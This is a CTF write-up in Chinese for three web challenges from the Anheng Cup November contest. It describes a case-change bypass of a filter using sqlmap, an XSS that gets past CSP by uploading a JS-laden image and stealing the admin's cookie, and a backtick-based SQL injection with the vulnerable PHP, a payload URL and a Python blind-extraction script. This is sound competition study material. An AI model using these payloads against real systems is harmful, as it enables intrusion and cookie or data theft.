1. 程式人生 > >安恒杯十一月比賽部分writeup

安恒杯十一月比賽部分writeup

payload tro ror ase orm div lmap web code

Web1 繞過看門狗

簡單嘗試了一下,大小寫繞過就可以。sqlmap直接加個randomcase.py的tamper即可,當然寫腳本來跑也是可以的。

Web2 jshunt

打開鏈接,看到一個上傳點和一個留言板。輸入<img src=#onerror=alert(1)/>,提示“非法標簽”,最後發現只能使用script。

之後把重點放在script,fuzz發現只能使用src屬性,嘗試包含js文件,提示“禁止包含js文件”。

包含外部js文件同樣報錯,同時觀察返回包,發現使用了csp策略,包含外部js也是行不通了:

技術分享

別忘了我們還有一個可以上傳的地方:

技術分享

上次帶有js代碼的圖片,然後使用SRC加載文件,留言給管理員,返回信息提示代碼是成功的,然後就能收cookie了。

Web3 babysql:

過濾了union,column_name,*。

http://www.wupco.cn/?p=3764參考了這裏才找到了註入點。。

$sql = "desc `error_{$table}`";
$res = mysql_query($sql);
if(empty(mysql_fetch_array($res))){
    echo "<center>no table detail</center>";
    die();
}
$sql = "select * from error_${table} where id = $id";

 得知desc能判斷table師傅存在,如果存在才會執行下一條語句。

payload:

http://114.55.36.69:20680/index.php?table=flag` `a%&id=3

寫個腳本跑:

#!/usr/bin/env
# -*- coding: utf-8 -*-
import requests as r
import string
r1=r.session()
s=string.printable
flag=""
for i in range(50):
  url="http://192.168.1.1/index.php?table=flag` `{0}%&id=3"
  for j in s:
    url2=url.format(str(flag+j))
    r2=r1.get(url2)
    if "SQL" in r2.text:
      flag+=j
      print flag
      break

安恒杯十一月比賽部分writeup